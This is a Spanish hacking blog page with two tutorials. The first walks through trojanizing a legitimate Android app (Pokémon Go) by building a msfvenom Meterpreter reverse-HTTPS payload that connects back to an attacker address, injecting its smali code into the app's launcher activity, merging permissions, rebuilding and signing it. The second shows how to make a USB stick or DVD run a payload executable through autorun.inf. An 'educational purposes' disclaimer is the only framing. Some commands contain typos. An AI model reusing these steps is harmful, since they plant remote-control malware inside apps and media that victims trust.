Mostrando entradas con la etiqueta infectar. Mostrar todas las entradas
Mostrando entradas con la etiqueta infectar. Mostrar todas las entradas

viernes, 7 de octubre de 2016

Infectando apk


Hola a todos.

Antes de empezar, quiero, como ya sabréis, que todos estos posts son para fines educativos, y no me hago responsable del uso que hagáis con las informaciones contenidas en este blog.

Esto hay que señalarlo por lo delicada que es la información de este post.

Además, te invito a que me sigas tanto en twitter @manugomez1977, en instagram manugomez1977 y en facebook en la Página Manugomez1977. Así como a que pinches en la publicidad para poder seguir con los posts.

En el día de hoy vamos a ver cómo podremos infectar una app legítima de android con un payload hecho con msfvenom.

Podréis comprobar, según las capturas de pantalla, que me va a durar varios días, porque la cosa es un poquito larga.

En primer lugar, instalaremos la versión apktool de https://ibotpeaches.github.io/Apktool/install , da igual que tengamos la apktool instalada por defecto en nuestro Kali, ya que no va bien. En Kali 1 moto, no haría falta. Sólo hay que tener cuidado que cambian los parámetros.



Debéis seguir los pasos de instalación que tenéis. Lo obviaré porque está bien explicado.

Una vez instalado, estará en /usr/local/bin

Deberéis instalar también Android Studio. Lo podeís descargar de https://developer.android.com/studio/index.html .

Crearemos el payload

msfvenom -p android/meterpreter/reverse_https LHOST=192.168.1.134 LPORT=4895 -o meterpreter.apk



meteré meterpreter.apk y la app víctima, en mi caso pokemongo.apk (jajajaja) en la carpteta pokemongo (llamarla como queráis, es indiferente).

Ahora, descompilamos meterpreter.apk y pokemongo.apk

/usr/local/bin/apktool d -f -o payload /root/meterpreter.apk

Meterá los archivos dentro del directorio payload



/usr/local/bin/apktool d -f -o victima /root/meterpreter.apk

Meterá los archivos dentro del directorio victima



Nos vamos a /root/victima/smali/com y creamos el directorio metasploit.

Nos vamos a /root/victima/smali/com/metasploit y creamos el directorio stage.



Copiamos todos los archivos .smali de payload/smali/com/metasploit/stage y los pegamos en victima/smali/com/metasploit/stage



Abrimos el fichero AndroidManifest.xml de la aplicación víctima y buscamos una etiqueta <activity> que contenga las líneas

<action android:name=”android.intent.action.MAIN”/>
<category android:name=”android.intent.category.LAUNCHER”/>



En la misma etiqueta <activity>, buscamos android:name= .El valor de atributo estará detrás.

android:name=VALORDELATRIBUTO.

Nos fijaremos que, entre cada parámetro, va a haber dos puntos ':'.

La actividad main de la aplicación víctima será el valor del atributo, cambiando los dos puntos por /.

Por lo tanto, la actividad main, en nuestro caso, será

victima/smali/com/unity3d/player/UnityPlayerNativeActivity.smali



Abrimos ese fichero




Buscamos el método onCreate

;->onCreate(Landroid/os/Bundle;)V




No cerramos el fichero y, en otra terminal, abrimos el fichero

victima/smali/com/metasploit/stage/MainService.smali

Buscamos

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V



Copiamos esta línea y la pegamos justo debajo del método onCreate del fichero victima/smali/com/unity3d/player/UnityPlayerNativeActivity.smali



Guardamos (por supuesto).

Ahora, abrimos, por un lado

/victima/AndroidManifest.xml

y por otro

/payload/AndroidMainfest.xml

En la imagen de la izquierda veremos el AndroidManifest.xml de la aplicación víctima y en la derecha, el del payload



Copiamos los permisos del payload que no estén en los de la app víctima, en el AndroidManifest.xml de esta última. Ten cuidado de no repetirlos y de que no te falte ninguno, pues no funcionará. Hay que tener definidos TODOS los permisos.



Guardamos el último fichero y salimos.

Ahora queda recompilar la aplicación víctima (repito, en mi caso, pokemongo).

/usr/local/bin/apketool b /root/original



El archivo apk de la aplicación infectada se grabará en el directorio

/victima/dist/



Ahora, queda por firmar la app infectada, puesto que android sólo ejecuta apps firmadas.

jarsigner -verbose -keystore /root/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA /root/pokemongo/victima/dist/pokemongo.apk androiddebugkey

Si no funciona, quitar la parte de -sigalg
 
 



Para crear el debug.keystore:

Creamos el directorio /root/.android

keytool -genkey -v -keystore /root/.android/degug.keystore -storepass android -allias androiddebugkey -keypass android -dname “DN=Android Debug,O=Android,C=ES”


Happy hacking




viernes, 15 de abril de 2016

Infectar un USB/DVD

En primer lugar, creamos una carpeta llamada “autorun”.

Creamos un payload (yo voy a usar el payload que cree en el post de veil) y lo copiamos en esta carpeta.

Editamos el archivo autorun.inf y lo llenamos como sigue:

[autorun]
open=manugomez1977.exe
icon=autorun.ico

Guardamos y cerramos.

Por supesto que, en open, ponemos el payload que hayamos creado.

Copiamos el contenido de esta carpeta en un pen (para insertar un pen en la máquina virtual, lo metemos en el puerto y seleccionamos Dispositivos → USB → Seleccionamos el usb a insertar) o bien lo grabamos en un cd – dvd grabable.

Ojo, hay que poner en el directorio raíz del pen el archivo autorun.inf y el ejecutable, en mi caso manugomez1977, no más. Así de simple.

Sin embargo, en los pen, no se ejecuta automáticamente, a la víctima se le abrirá un menú que le preguntará qué quiere hacer.

En un dvd/cdrom se ejecuta automáticamente.